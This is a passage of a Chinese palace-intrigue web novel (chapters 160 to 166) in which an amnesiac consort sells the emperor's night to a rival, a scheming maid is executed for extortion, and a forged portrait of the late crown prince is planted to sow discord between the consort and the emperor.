本来觉得不太靠谱的,但现在他又有点相信了,于是解释:“朕和清妃没什么关系,朕从来就没碰过她。” “哦,没碰过就没碰过呗,跟我说干什么?”晋明鸢道,她拉了贺江灈到旁边坐下,“你来的正好,我有事想和你说的,我…” “晋姐姐!”姜妃在一边见势不妙,赶紧又打岔了一句。 那贺江灈连没碰过清妃的事儿都说出来了,这若是下一刻,晋姐姐让他去宠幸欣婕妤… 姜妃摇摇头,这话还是别让晋姐姐说出来的好。 晋明鸢也皱了眉,她说:“姜妹妹,你做什么老打断我?” 贺江灈也说:“姜妃,你今天怎么古里古怪的?算了,你先出去吧,朕和阿鸢单独说。” 姜妃瞪大了眼睛,手指指自己,又指指外面。 贺江灈重复道:“朕让你出去。” 行,让她出去!这么不识好人心,等会儿别后悔才是。 姜妃愤愤的冷哼了一声,出去的时候还不忘好心的把张公公也叫了出去,免得承受了不该承受的怒火。 邀云宫里只剩下了贺江灈和晋明鸢,贺江灈又问:“阿鸢有什么事与朕说?” 晋明鸢不卖关子,开门见山:“你今天去找欣婕妤吧。” “你说什么?”贺江灈有点怀疑自己是不是听错了。 晋明鸢觉得是自己说的不够明白,于是她补充道:“我收了欣婕妤一百两,答应了她今晚你去她那里。” “所以你是把朕卖了?”贺江灈这下听懂了。 他一张脸上都因为这个认知蒙上了阴云,就这么定定的看着晋明鸢。 什么吃清妃的醋了? 他真是信了小云子的鬼话了。 若是真的吃醋,也不会一百两就把他卖给欣婕妤。 晋明鸢说:“哎呀,这怎么能算卖呢?顶多就是这一晚上。 不是你自己说,我可以向你提要求的吗?你该不会是反悔了吧?” 贺江灈想说,这根本就不是反不反悔的事,他深吸一口气,看着晋明鸢那张理直气壮的脸,到最后也没办法把心情平复好。 他试图和晋明鸢解释清楚:“阿鸢,你是不是没有搞清楚,我是你的夫君,你这么让我去找别人,是不是不合适?” “那有什么?你宫里本来就有那么多嫔妃,找谁不是找?欣婕妤还给我钱了?怎么就不行了?”晋明鸢说。 贺江灈感觉,自己脑门上的青筋都在突突乱跳,他冷着嗓子:“那不一样。” “怎么就不一样了?”晋明鸢不依不饶。 贺江灈说:“朕就没有碰过她们,总之那些人就是因为各种不同的原因进来的,朕根本就没碰。” “为什么?你跟我说这个干什么?你碰没碰她们跟我有什么关系?欣婕妤那里,你到底去不去?”晋明鸢说。 她其实大抵知道,贺江灈为什么要与她解释。 大概就是因为他们曾经是真的有一段情谊在的,可那又怎么样?她都不记得了。 比起那些根本就没印象的情谊,当然是眼前的金钱最能让她心动! 贺江灈不说话,她又催促一句:“你到底去不去啊?” “不去。”贺江灈咬着牙,声音几乎是从牙缝里挤出来的。 他今天就不该来的。 不止今天,他就不该随便见晋明鸢的。 晋明鸢有点不高兴:“你这人怎么出尔反尔?不是你说我可以向你提要求的吗?我这钱都收了,你让我怎么跟人解释?你…” “朕没有让你收这种钱。”贺江灈声音更冷了,一句话说完,他叹了口气,又话锋一转,“你如果真的想要银子,可以直接向朕开口的,又何必…” 他想问晋明鸢,何必这么把他推给别人? 但看着晋明鸢那双眼睛,根本就问不出口。 第161章 满春之死 晋明鸢感觉到他的视线,她脸色没有任何的变化,反而是愈发的理直气壮:“我凭本事赚的银子,怎么就不能赚了? 哎呀,你到底哪来的那么多理由,欣婕妤也是个美人,你去了又不吃亏,快点去吧。” 感觉只是催促不管用,晋明鸢又干脆直接伸手拽人。 贺江灈完全是被她半推半就地拖出了邀云宫。 但晋明鸢又觉得还不够,甚至又嘱咐道:“要求是你让我提的,这回你可一定要去,可不能让我失信于人。” 贺江灈这会儿已经没有心思和晋明鸢说什么了。 他又狠狠的看了晋明鸢一眼,这才大步流星的离开。 等他走了,姜妃也不知道从哪个犄角旮旯里就窜了出来,拉着晋明鸢就问:“你真让他去欣婕妤那里了?” 晋明鸢说:“肯定呀,我可不做那种言而无信的事,既然收了钱,肯定得办事的。” 姜妃想说的根本就不是这个。 她问:“你把人弄到欣婕妤那里去,心里就没有什么别的感觉吗?你…” 现在也就算了,姜妃有点担忧,她恢复记忆之后,想起来今天的事… 只是想想这种场面,姜妃自己都觉得尴尬。 晋明鸢说:“感觉?松了一口气的感觉呗,你不知道他刚才可凶了,我还以为他要打我呢,幸好走了。” 姜妃表情古怪的看着晋明鸢,一时也不知道该说些什么了。 两个人刚回邀云宫不久。 就听到了欣婕妤那里出事的消息,还没弄清楚怎么回事,王昭仪就急匆匆的过来了,一来就是神神秘秘的道:“之前两位姐姐不信我,今天我的诚意可是拿出来了,两位姐姐不妨跟我去莲华宫看看热闹。” 知道这事是王昭仪的手笔,不是欣婕妤惹了贺江灈,两个人也是松了口气。 等到了莲华宫,才发现清妃已经到了,正狼狈地跪在地上和贺江灈求着请 贺江灈坐在主位上,表情难看的比从邀云宫刚出去时还要厉害几分。 而在清妃的身边,满春更是不住的磕头,血珠都在额头上渗了出来,但她却似感觉不到疼痛一样。 晋明鸢她们刚走过来,就听到清妃在那里道:“陛下,臣妾很少这么求过您什么事,您就看在满春伺候了臣妾这么多年的份上,饶了她这一回吧。 臣妾保证,回去之后一定好好教训她。” “清妃,你还好意思求情,一个刁奴,如果没有你的放纵,她怎么敢勒索嫔妃?今日若不是正好让朕撞上,朕都不知道朕的嫔妃在这宫里比不过清妃的一个下人。”贺江灈道。 这回晋明鸢算是听明白了。 这是满春借着清妃的势,欺负欣婕妤,被贺江灈撞了个正着。 也难怪他这么生气。 不管他来不来后宫,那个欣婕妤毕竟都是他的嫔妃,他的面子。 现在就这么被清妃身边的人欺负了,打的自然是他的脸。 “陛下,事情不是这样的,满春她…她…”清妃磕磕绊绊的想要解释,但说了半天,也说不出个所以然来。 反倒是让贺江灈的脸色更难看了:“朕看得清清楚楚,你还有什么好为她遮掩的? 还是这贱婢的所作所为,分明就是授了你的意?” 贺江灈这么一问,清妃也不敢说话了。 事情闹成这样,陛下的怒火来的非比寻常,在这种节骨眼上,她还是不要把自己拉下水的好。 清妃的沉默让满春意识到了什么,满春连忙道:“娘娘,娘娘您救救奴婢啊,您不能不管奴婢。” “闭嘴,你自己做出这种事来,让本宫怎么救你?本宫也没办法了,你好自为之吧。”清妃狠了狠心,直接就推开了满春。 满春很快就被人拖到了一边。 贺江灈脸色依旧阴沉,他瞥了一眼赶过来的姜妃和晋明鸢,对着姜妃留了一句在这里盯着,就直接拂袖离开了。 到底是从小跟着自己的人,护不住满春,清妃也是不忍心再看下去,她没有多留,转身就要走,却看到了站在晋明鸢不远处的王昭仪。 清妃脚步一顿,声音里都有了怀疑:“你怎么会在这里?” 王昭仪连忙冲着她迎了过来:“臣妾听说了清妃姐姐的事,心里担忧,便赶紧过来看看,陛下今天对姐姐实在是太心狠了,臣妾扶姐姐回去吧。” 她对清妃满脸的关心,让清妃心里的怀疑也消了大半,清妃也没有拒绝。 王昭仪临走的时候,又回头看了一眼晋明鸢,眼睛里带着几分暗示。 晋明鸢和姜妃才从欣婕妤那里回来不久,王昭仪就趁着月色赶过来了。 她直接就开门见山道:“现在姜妃姐姐可相信臣妾了? 臣妾恨不得今天除掉的是清妃,为我阿弟报仇,可是以臣妾的能力,暂时还做不到这些,臣妾希望姜妃姐姐身边,给臣妾一个位置。” “是你让那满春去给欣婕妤讨东西的?”姜妃问。 王昭仪点了点头,解释道:“满春那个人,心贪着呢。 清妃要装纯善,她可不需要装,这些年来她借着轻飞的势,时不时的就去压榨低位嫔妃。 像欣婕妤那些家世不够显赫的,为了息事宁人,或者求清妃的庇护通通都供着她。 久而久之她的胃口就更大了,欣婕妤出身皇商世家,手里闲钱多,满春就经常去找她拿钱。 我今日不过就是让欣婕妤拒绝了她两句,她就颐指气使要给欣婕妤难看,让我们陛下撞上,还不是活该?” 王昭仪话说着,眼睛里已经闪过了一丝鄙夷,在清妃身边的那些嫔妃们,除了她和徐婕妤还算有点儿面子,其他人哪个没被满春压榨过,只是她们都不敢说。 “满春一直这样做,那个清妃就没阻止过吗?”姜妃问。 清妃最会装了,她怎么会放任着自己的宫女做这种事呢? 王昭仪道:“那些下人哪个不贪心?清妃不给他们谋福利,总不能不让他们自己做吧?再说了,这种事东窗事发了,清妃只说一句不知道就可以揭过去的,她为什么要阻止?” 第162章 你心里还有他 这些年王昭仪跟在清妃身边,或多或少了解清妃的想法。 之前她也信任清妃,要倚仗清妃,从来都不觉得清妃的作为有什么。 但现在… 想到清妃骗自己跳了冰湖,还没保住自己的弟弟,王昭仪心里就是一阵怨恨。 她想了想,又说:“姜妃姐姐,晋娘娘,你们还是得小心一下,我刚才是从玉粹宫过来的,今天陛下会去莲华宫是因为晋娘娘,这件事瞒不过她的耳目,臣妾担忧她会把满春的死记在晋娘娘的头上。 她那个人心思深沉着呢,晋娘娘还是得小心防着。” “清妃没有怀疑你吧?”姜妃问。 王昭仪有点犹豫:“臣妾也不太清楚,看样子好像没有,这段时间臣妾还是照常去给她请安,到时候再看看她有没有什么别的动作吧。” 姜妃难得拍了拍王昭仪的肩膀:“在清妃跟前还是多小心一些,以后你少来邀云宫走动,免得惹了她怀疑。” 王昭仪自然明白,这是姜妃把她当自己人的意思了。 于是她赶紧点了点头。 送走了王昭仪之后,晋明鸢才问:“你觉得她可信吗?” 姜妃说:“先不说可信与否,她对清妃的恨是真的,那满春是我看着行刑的,人已经死的透透的了。 那可是清妃的左膀右臂,绝对不存在清妃和她串通好了骗咱们的可能。” 晋明鸢也觉得是这么一回事。 她又问:“那你盯着满春行刑,她就没有说什么吗?” 姜妃脸色有些难看:“那个清妃还是有些本事的,关于她的事,满春一个字儿也没提。” 说到这个的时候,姜妃甚至还看了一眼晋明鸢。 那个女人最会笼络人心了,晋姐姐失忆之前,不也是一门心思的信任她吗? 还有陛下,说到底也是打心眼里信她的,否则这件事也不会只查满春,定也能牵连到她的。 姜妃一直都让人盯着清妃那里。 没了满春,清妃消沉了两日,很快就又提上来了一个叫赋雪的宫女在身边。 她就好像一切都没有发生过一样,天天忙着操持新年宫宴的事,时不时也会去御书房走一趟,看起来并没有什么异样,好像也没什么别的打算。 而自从晋明鸢把贺江灈推到欣婕妤那里之后,他便也很少再来邀云宫了,宫里的嫔妃大概都被他下过命令,也没人再敢来找晋明鸢买什么侍寝的机会了。 邀云宫很快就又沉寂了下来。 伴随着年关将近,宫里有消息传出来,说是宴平王贺竟流已经抵京。 这个宴平王就是太后的儿子,也是被贺江灈不顾太后意愿强行弄回来的。 直觉告诉晋明鸢,等到他回来了,这宫里必然又不太平了。 只是在贺竟流来到宫里之前,晋明鸢先收到了一个包裹。 里面装着的是一些宫外的小玩意,多是些小摆设,除去这些以外,还有一张画像,画上的人是云瑄。 小孩穿着一件白色的棉衣,一本正经的坐在马背上,连表情都有点严肃,一副小大人的模样。 “这是云瑄让人送来的?”姜妃有些惊奇,视线一直都盯着那幅画看。 画上的人是云瑄没错了,不仅是神态还是模样,都很像。 但她又有些疑惑的打趣道:“这孩子怎么回事?就让人送一幅画回来,连封信也不给咱们写,也不说什么时候回来,等他回来了,我一定得好好说说他。” 晋明鸢就这么看着这幅画。 之前见不到云瑄,她的思念之情都压在心里,现在全被这幅画引了出来,注意力几乎完全被面前的画吸引。 又听到姜妃的疑惑,她说:“信不信的,有什么重要的,大概是他忘了吧,姜妹妹,你找人帮我把这画挂上,我得日日看着我们云瑄。” 忘了吗? 姜妃还是觉得不对劲,以那小子的谨慎程度,怎么可能东西都送到了,却唯独忘了信? 但看得晋明鸢现在激动的样子,她便也没有打击晋明鸢的热情,只想着自己晚点儿去让人查查这件事。 画很快就让人挂进了晋明鸢的房里。 晋明鸢是越看越喜欢。 看这张画,她的宝贝儿子才走了没多久,就已经学会骑马了,真不愧是她的儿子,真聪明。 姜妃看晋明鸢看画看得入神,默不作声的出去了,他让人叫来了送东西过来的小太监,那人支支吾吾的也说不清什么,只说东西是从宫外送来的,说是要送进邀云宫。 以贺云瑄的本事,或许是没办法把东西送进来,可是那姜源却不一样,这套说辞也没什么好怀疑的。 任凭姜妃查了一阵子,也没查到什么,最后便也只能当做是自己想多了,可是这包裹里没有信,姜妃还是觉得不像是贺云瑄的作风。 他那么在意晋明鸢,如果真的要给晋明鸢送东西来,不应该写上归期吗? 旁的小孩或许是因为粗心大意想不起来这些,姜妃可不觉得贺云瑄也会忘了。 如果这包裹真是云瑄送来的,难道是有人把云瑄的信拿走了? 姜妃又找了人去盯着那个小太监,这才稍微安心了一些。 大概是因为贺竟流马上就要进宫的原因,晚上贺江灈难得来了邀云宫用晚膳。 晋明鸢现在和他的关系说不上生疏也不算熟络,大概就像是再普通不过的朋友。 除了可以坐在一个桌上吃饭以外,便再也没有什么过多的接触了。 有了之前晋明鸢要把他推给别人的事,贺江灈自己也不奢求进名渊对他有什么别的。 如往常一样,晋明鸢直接把人迎了进来,但贺江灈看到她刚挂起来的画时,脸色一下子就变了,他冷着脸质问:“这是什么东西?” “什么东西不东西的,你怎么说话这么难听,这不就是…”涉及到自己宝贝儿子的事,晋明鸢语气不太好。 她当即就要反驳回去,但的话都没有说完,就被贺江灈的质问声打断了:“你为什么还把他的画挂在这里?你心里还有他?” 第163章 贺竟流 “我怎么就不能挂了,这不就是…”晋明鸢越来越觉得,今天的贺江灈莫名其妙。 她话才说了一半,男人忽然站起身来,就要去扯墙上的画。 晋明鸢哪里能让他扯? 她想也不想就撞开了他,张开双臂挡在男人面前:“我不管你发什么疯,反正今天这话你不能动。” “如果朕偏要动呢?”贺江灈的声音已经冷的不带一丝温度。 他又朝着画探出手来,晋明鸢的脾气也上来了,不由分说的就扯着人的袖子把人往外赶,她恼道:“我说了不能动就是不能动,你若非要与我作对,那就走吧,我这里不欢迎你,以后都不要过来了。” “为什么?你就这么在意他?晋明鸢,麻烦你给朕认清楚了,你现在到底是什么身份?你公然把这东西挂在寝宫,你让朕怎么想?”贺江灈深吸一口气,他强行把自己的怒火压下,可再抬眼看到那幅画的时候,还是有要爆发的趋势。 晋明鸢的火气也有点压抑不住。 她不明白这个人为什么对云瑄永远有这么大的恶意? 看着他那张冷到极点的脸,晋明鸢心里愤愤的想,等自己查到了证据,一定要狠狠地甩到他脸上,让他对现在这份对云瑄的恶意羞愧难当。 如此想着,晋明鸢便也不想与他掰扯。 只是拽着他的袖子把人往门外推:“我管你怎么想,你若是诚心要闹就赶紧走吧,我没心思和你闹。” 什么陛下,心眼那么小。 反正她就不会哄人,也不可能哄人的。晋明鸢在心里愤愤道。 “这是怎么了?”姜妃听到动静过来,一看到晋明鸢和贺江灈闹得这么大,赶紧询问。 “谁知道他发什么疯?”晋明鸢没好气的道。 想到这人对她儿子这么大的恶意,晋明鸢无论如何也摆不出好脸色,她干脆一甩袖子就进了屋。 贺江灈看着她的背影,胸口也是一阵的起伏不定。 姜妃小声问:“陛下,您这是…晋姐姐她…” “都是朕最近太放任她,简直越来越不像样了,她屋里那画,让她摘了。”贺江灈道。 她也没有给姜妃过多发表疑惑的机会,就直接大步离开了。 姜妃看着他过分生气的模样,心有戚戚的跟出去两步,但贺江灈很快就发现了她的动静,直接回头一个冷眼扫了过来,吓得姜妃赶紧讪笑了一下,退回了邀云宫。 她回来的时候,晋明鸢脸色也同样不好看,根本没有等姜妃问什么,她就先道:“真搞不懂他怎么想的,一天到晚对云瑄的怨气那么大,等我把关于云瑄身世的证据查出来,一定得甩到他脸上,让他追悔莫及。” 姜妃却觉得,贺江灈针对的未必是贺云瑄。 她的视线落在了那副被高高挂起的画上:“晋姐姐,你觉得这东西真是云瑄让人送来的吗?会不会这中间有什么误会?” “能有什么误会,我自己的儿子我不认识吗?”晋明鸢问,她狐疑的看向姜妃,“你到底想说什么?” 姜妃神色讪讪,虽然心里有诸多古怪,但是没有证据,她也不知道该从何说起。 而此时贺江灈从晋明鸢这里愤然离开的消息,像是长了翅膀一样,一转眼就传遍了六宫。 玉粹宫里,赋雪向清妃禀报消息的时候,清妃正神色柔和的摆弄着灶上的鸡汤。 锅里咕嘟咕嘟冒着热气,肉香味氤氲在空气里。 听到赋雪传来的话,她拿着勺子搅弄的手顿了顿,声音淡淡道:“这汤炖了一上午也炖好了,你陪着本宫去给陛下送去吧。” 赋雪应了一声,赶紧拿了食盒过来。 两人去御书房的途中,先遇上了刚入宫的贺竟流。 王嬷嬷正引着人往太后宫里去。 清妃见状,先上前打了个招呼,贺竟流停下脚步看了她一眼:“是贵妃娘娘啊,比起上回见面,怎么看起来好像憔悴了一些?娘娘近来可是有什么烦心事?” 王嬷嬷道:“王爷,您常年在宫外,听不到消息也是应该的,您面前这个现在可不是什么贵妃了,您该叫她清妃。” 王嬷嬷和太后一样,都看不惯清妃,说话的时候也不客气。 清妃今天还算不错的心情,被王嬷嬷这话一激,一下子就垮了,连脸色都跟着有点僵硬。 而贺竟流则是讪笑了一下:“原来是这样,那是我嘴快叫错了,没有踩到清妃娘娘的痛处吧?” “王爷言重了,这本就是事实,我自然没有什么好不痛快的。”清妃说。 她低下了头,看着很是温柔。 但眼睛里已经闪过了一抹浓烈的冷意。 这个宴平王,和他那个娘一样,从小就让人讨厌。 贺竟流又说:“这样就好,听说这几年皇兄最宠爱清妃娘娘了,我这才刚回京,可不想一下子得罪了皇兄的宠妃,娘娘没生气,我就放心了。” 清妃觉得,这个贺竟流就是故意在她心上捅刀子的。 偏偏这种事,又只是言语上的争端,她也不能说什么。 清妃沉默着,王嬷嬷则是对着贺竟流催促:“王爷,太后娘娘还等着您呢,咱们还是赶紧去见太后吧。” “也是,我这一趟回来不容易,等会儿见完母后,还得去看看皇嫂呢。”贺竟流说。 听他这句话。 清妃的脸色更难看了。 这宫中并没有皇后,能让他称为皇嫂的也就只有一个,就是晋明鸢这个曾经让贺江灈明媒正娶的女人。 才打了个照面,贺竟流就刺了她这么两句,现在又说这种话,清妃总觉得贺竟流就是故意说给她听的。 一直等贺竟流和王嬷嬷的身影远去,清妃那张阴沉的脸都没有缓和,赋雪在旁边低着头,神色里有淡淡的不安。 之前这宫里几乎所有人都挤破了脑袋,想要来玉粹宫伺候,人人都道,清妃娘娘温柔善良,是这宫中最好的主子。 赋雪之前也这么认为的,她最羡慕的就是满春了。 可现在满春走了,她顶了满春的位置之后,竟是连一个好觉都没睡成过。 这个清妃,从来就不像她表现出来的那么柔弱善良。 一阵沉默之后,赋雪还是大着胆子道:“娘娘我们还是快走吧,不然等会儿汤就凉了。” 第164章 先太子 清妃这才回过神来,又冷着眼,朝着贺竟流离开的方向看了一眼,这才起步去了御书房。 一进门,清妃就先感觉到了一股极低的气压。 她看着贺江灈冰冷的表情,上前两步:“陛下这是怎么了?可是有什么烦心事?可以与臣妾说说吗?” “你怎么来了?”贺江灈问。 清妃适时的递来了炖好的汤:“臣妾近来在玉粹宫闲着无事,特地给陛下炖了些汤,想着拿来让陛下尝尝。” 清妃的话说的合情合理,贺江灈的脸色也渐渐的好看了一点儿:“你费心了。” “能为陛下做事,臣妾高兴还来不及呢,陛下快尝尝吧。”清妃说。 她一直都温温柔柔的,一派的贤良模样。 贺江灈象征性的看了一眼她手里的汤,并没有接,清妃顺势把碗放到了他面前,这才又问:“臣妾听说陛下和晋姐姐有点不愉快? 您知道的,晋姐姐脾气向来火爆,有些话或许不是她的本意,而且陛下莫要与她计较。” 贺江灈只是揉了一下眉心,根本没有接清妃的话茬。 清妃脸上闪过几分尴尬,手指捏着袖口的一角,把袖口都握得起了褶皱,她想了想,又说:“臣妾刚才过来的时候,看到宴平王了。 听宴平王说起,等会儿要过去看晋姐姐,真是没想到这么多年过去了,宴平王还记得晋姐姐。” 后半句话像是不经意间脱口而出,清妃就这么看着贺江灈的脸色越来越沉,她又补充道:“还记得之前宴平王就喜欢跟着晋姐姐跑呢,那时候咱们几个…” 话没有说完,她就见贺江灈已经起了身,清妃连忙话锋一转:“陛下,您这是要去哪里?” 贺江灈睨她一眼:“清妃,你今天话有些多了,来人,把清妃送出去。” 清妃神色讪讪,又对着贺江灈行了个礼,临走的时候还嘱咐贺江灈别忘了喝汤。 等在御书房里出来的时候,她的脸色就沉了下来。 一封画像既然动摇不了晋姐姐在陛下这里的地位,那加上宴平王呢? 赋雪在一边,看着清妃变化不断的神色,心里莫名有点不安,她总觉得自从满春姐姐走了之后,清妃就变得越来越喜怒无常了。 又或者她之前本来就是这样的,只是之前掩饰的太好。 邀云宫,听到宴平王来的消息时,晋明鸢还有些惊讶。 她知道这个宴平王是太后的儿子,还是被贺江灈强行弄回来的,她倒是没想到这样一个人会来见自己。 但对方已经上门了,晋明鸢还是让人把他请了进来。 对于太后身边的人,晋明鸢本能的就有点警惕,自打宴平王进来之后,她就一直用有点挑剔的视线看对方。 听说这个宴平王是先帝最小的儿子,现在看起来也就十七八岁,还是个少年模样,穿着一身湖蓝色的长袍,站在那里就给人一种温润有礼的感觉,和那个精于算计的太后好像一点也不像。 晋明鸢没有一点儿对这人的印象,她也没有主动说话,倒是宴平王先行了个礼:“皇嫂,好久不见,你这些年过得好吗?” 他话听起来很熟络。 但晋明鸢一想到他是太后的儿子,就跟他熟络不起来。 于是她用手肘撞了姜妃一下,试图让姜妃给她解围。 姜妃说:“晋姐姐,你跟他尴尬什么?他小时候你还抱过他呢。” 姜妃的话,宛如平地的一声惊雷,让宴平王一张文质彬彬的脸都涨红了几分,他掩唇轻轻咳嗽了一下:“你还是这么讨人厌。” 姜妃也不在意:“说实话还不乐意听了?哎呀,也不知道是谁,小时候总喜欢哭鼻子,哭的满脸都是,啧啧啧,脏死了。” 贺竟流脸色更僵硬了:“你怎么那么多话,我今日来本也不是来看你的,我皇嫂她…” “晋姐姐失忆了,可不记得你这个小哭包,你还是别来沾边了,免得让你娘知道,又得过来找我们麻烦。”姜妃说。 贺竟流太阳穴的青筋都在乱跳,他看着姜妃,面无表情的拆穿:“你会怕母后?” 那当然是不怕的,姜妃耸了耸肩,没怎么搭话。 贺竟流又看向了晋明鸢:“皇嫂,我这些年听到了很多事,你如今过的可还好?” 这个贺竟流比起总是阴沉沉的太后来,好像没有那么讨厌,而且看姜妃的样子,对他也挺熟悉的,晋明鸢心里的警惕就散了许多,她说:“挺好的,你来找我有什么事吗?” “没什么大事,就是几年没回京了,想着过来看看皇嫂。”贺竟流说,他又拿了一个包裹过来,“这些都是我那里时兴的小玩意儿,带来给皇嫂看看,小时候都是皇嫂哄我,我…” “行了你,贺竟流,晋姐姐都不记得你了,你就别煽情了,你过来太后娘娘知道吗?要不你还是赶紧走吧,免得你娘又要说什么有的没的。”姜妃说。 贺竟流的话被她强行打断,表情也有点僵硬。 大抵也是想到如今身份有所不同,他正要起身告辞,目光朝着晋明鸢背后一扫,视线忽然就定住了,他问:“皇嫂,你房里为什么要挂大皇兄的画像?该不会那些传闻…” “什么大皇兄?”姜妃表情一僵,视线也落在了那幅疑似贺云瑄的画像上。 她和贺竟流年岁差不多,比晋明鸢还要小个六七岁,更不要说比起先太子来。 他自然是没有见过先太子小时候的模样。 如果那画上的是小太子,那他也与云瑄长得太像了点儿! 不!不能说是像,简直就是一个模子里刻出来的,难怪!难怪刚才陛下走的时候那么生气,原来那画像是先太子吗? 晋明鸢也是有点回不过神来,她问:“你说那画上的是谁?” “大皇兄呀,也就是先太子。”贺竟流说,“他是父皇的第一个孩子,父皇很宠溺他。 在他小时候给他画了不少画像呢,这幅画看起来像是临摹的,但肯定就是先太子。 皇嫂,你为什么还有他的画?” 第165章 阿鸢,对不起 “这不是…这不是我儿子吗?怎么可能会是先太子?”晋明鸢这会儿还有点回不过神来。 她就这么定定的盯着那幅画,画上的人分明就是云瑄无疑。 她问:“你是不是认错了,我自己的儿子,我会不认识吗?这怎么能是先太子呢?” 贺竟流又盯着那画看了看:“不会有错的,之前父皇亲笔给先太子画过很多画,这幅画就是在先太子刚会骑马的那时画的。 就算神态有些不像,但场景是一模一样的,这画我们都见过,现在应该就在藏书阁里摆着。” 贺竟流的声音无比的笃定。 他想了想又继续说:“我对书画颇有研究,画这幅画的人应该很是着急,笔锋都是仓促的,很多细节也都没有处理好,但可以笃定的是,他临摹的原画就是之前父皇给先太子画的那一幅。” “你说原画现在还在藏书阁?”姜妃确定道。 贺竟流点了点头:“如果不出意外的话,应该在的,四皇兄不在意这些细枝末节的小事,他应该想不起来去处理这些东西。” 姜妃听到这里,立刻站了起来,她道:“晋姐姐,你们先聊,我得去一趟藏书阁。” 藏书阁里是有人看守的,进出都要登记。 这画上的既然是先太子,那这件事一定就是有人从中作梗,她必然要把这事查清楚,给晋姐姐讨一个公道。 姜妃走的风风火火的,晋明鸢想拦都拦不住,一时间,邀云宫里就只剩下了晋明鸢和贺竟流相对而坐。 晋明鸢面对这个太后的儿子,还是觉得无比的尴尬,贺竟流倒是浑然不觉一样,主动找话题道:“皇嫂既然会把这幅画认错,那你的儿子现在应该也是这么大了吧,人在哪里?我怎么没见到? 说起来,我回来的时候还给他买了挺多小玩意儿呢。” 他一边说着,一边从自己带来的东西里找出了拨浪鼓,虎头帽。 看起来都是纯真稚童会喜欢的东西。 晋明鸢只是看了一眼,就想到了贺云瑄绷着一张小脸一本正经的模样,她甚至想象不出来把贺云瑄和这些东西放在一起会是怎样的场景。 贺竟流也注意到了晋明鸢的古怪,他道:“皇嫂为什么这个表情?是我买错了吗?我记得当年我小时候,皇嫂就是拿这个哄我的,我以为皇侄该喜欢的。” 贺竟流说的很认真,就像是真的在回忆往事。 可晋明鸢却没有当年的记忆,她看着贺竟流,也想不出来贺竟流小时候是什么模样。 瞧这面前人公子如玉,翩翩风流的模样,晋明鸢更是想不出来她怎么拿着这个波浪鼓哄人的。 对着贺竟流一双疑惑的眼睛,晋明鸢只能讪讪道:“云瑄现在跟人出去游学了,我也不知道他什么时候回来,这些东西既然是你的心意,等他回来我替你交给他吧。” 晋明鸢心里存着一点私心。 她还从来没有见过云瑄孩子气的一面,她也有点儿想看云瑄戴上色彩斑斓的虎头帽是什么模样。 “那还真是不巧,不过马上就要年关了,这种阖家团圆的时候,他应该能回来吧,说起来我还真想看看皇嫂的孩子是什么样的呢。”贺竟流说。 他有点自来熟,看起来也没什么太多的心思,给晋明鸢最大的感觉就是和太后一点儿也不像。 两个人说话间,外面忽然传来一声“陛下驾到”。 晋明鸢脸色一下子就不好看了。 伴随着贺江灈进来,她想也不想,直接就把那幅画扯下来,朝着贺江灈脸上丢了过去。 她这动作实在突然,张公公都被吓了一跳,赶忙伸手去挡:“哎呦,晋娘娘,您这又是要做什么呀?” “我做什么?”晋明鸢冷笑一声,“那得问问你们陛下乱发什么脾气,我又没见过那劳什子的先太子,这玩意儿莫名其妙的出现在这里,难道不是有人陷害吗? 就为了这种事跟我发什么脾气,我要是能想起来先太子长什么模样,我早就…” 早就什么,晋明鸢没有说下去。 在最后一个节骨眼上,怒火被她强行按耐住了。 她现在就等着恢复记忆,又或者是把真相查清楚了,好好和这个人掰扯清楚。 现在她什么都不记得,真的吵起来说不定还会吃亏。 话落在地上,在贺江灈的脚下摊开。 贺竟流在一边说:“皇兄,你是不是误会皇嫂了?这画你是不是根本没仔细看过?这东西明显就是被人临摹出来的,这么明显送到皇嫂这里,不就是在挑拨离间吗? 皇兄该不会为了这么点小事就误会皇嫂吧,臣弟记得你也不是这么冲动的人,这次怎么就这么轻易的着了别人的道?” “他怎么不冲动了?莫名其妙的就发脾气,真不知道脑子长在了哪里,一点也不冷静。”晋明鸢在一边愤愤地嘀咕着。 贺江灈没有说话,但脸色已经阴沉到了极点,视线始终在那幅画上胶着,他现在也看出来了,那画正如贺竟流说的那样,就是被人仓促临摹出来的,线条都不怎么流畅。 这确实就是一场不太完美的栽赃陷害。 可偏偏先太子的事,这么多年来,在他心里已经成了一根拔不掉的刺。 在看到这种话的时候,他又哪里能费心去深思? 一片沉默里,贺江灈终于还是抬眼看向了晋明鸢,他没有避讳,直接道:“阿鸢,对不起。” 晋明鸢冷哼一声:“谁稀罕你的对不起,我连先太子是谁都不记得,以后你少把这种事往我身上扣。” 贺江灈被拂了面子,也没有多大的反应,只是视线沉沉的又看了晋明鸢一眼。 这件事确实是他太冲动,明明就是这么显而易见的算计,但凡他稍微想一下,只要想到阿鸢失忆,一切就会真相大白,便也不至于被这幅画支配情绪的。 可偏偏他还是什么都没想。 贺江灈又一次对着晋明鸢道:“是我错了,怪我冲动,这件事我会查清楚的。” 第166章 画像真相 晋明鸢本来就极讨厌被冤枉。 这会儿对于贺江灈的低头,她也是不置可否。 反而是贺竟流在一边打圆场道:“皇兄,咱们兄弟也好几年没见了,等会儿一起喝一杯嘛?” “比起这个,你还是多去陪陪母后吧。”贺江灈说。 那张画就摊在脚下,贺江灈实在没有心思去和贺竟流喝酒。 他现在只想把这事弄清楚,让阿鸢原谅他。 贺竟流讪讪的摊摊手:“那么多年没见,皇兄还是和以前一样,心思全放在皇嫂身上呢。” 贺竟流的这句调侃像是随意而发,但对于现在情绪并不怎么好的晋明鸢来说,却听得有点讽刺,她不冷不热的嘀咕:“胡说什么呢,我看咱们陛下的心思应该都放在先太子身上。 瞧瞧这么一幅破画,就让他这么魂不守舍的。” 她这话一出,贺竟流也好,张公公也好,都恨不得赶紧找个地缝钻下去,免得被陛下的怒火牵连。 谁不知道这些年陛下恨急了先太子。 也就晋娘娘能把这两个人放在一起说。 贺江灈的眉心深深的拧起,他看着晋明鸢试图制止:“阿鸢,别乱说。” 晋明鸢撇撇嘴,也没有和他纠缠的意思,嘴上还是小声说了一句晦气。 贺竟流在旁边噗嗤一声,直接笑出了声,他调侃道:“皇兄,这么多年了,你还是怕皇嫂呀。” “不说话没人把你当哑巴。”贺江灈没好气的道,“你若是那么喜欢说,不如赶紧去福寿宫陪陪母后去。” 这回贺竟流的脸色有点垮了,他道:“皇兄,你知道的,我素来不喜欢和母后相处,如果这次不是你下旨,我根本就不想回来的。” 他刚才在福寿宫坐了总共不到半个时辰,还没有在邀云宫待的时间久。 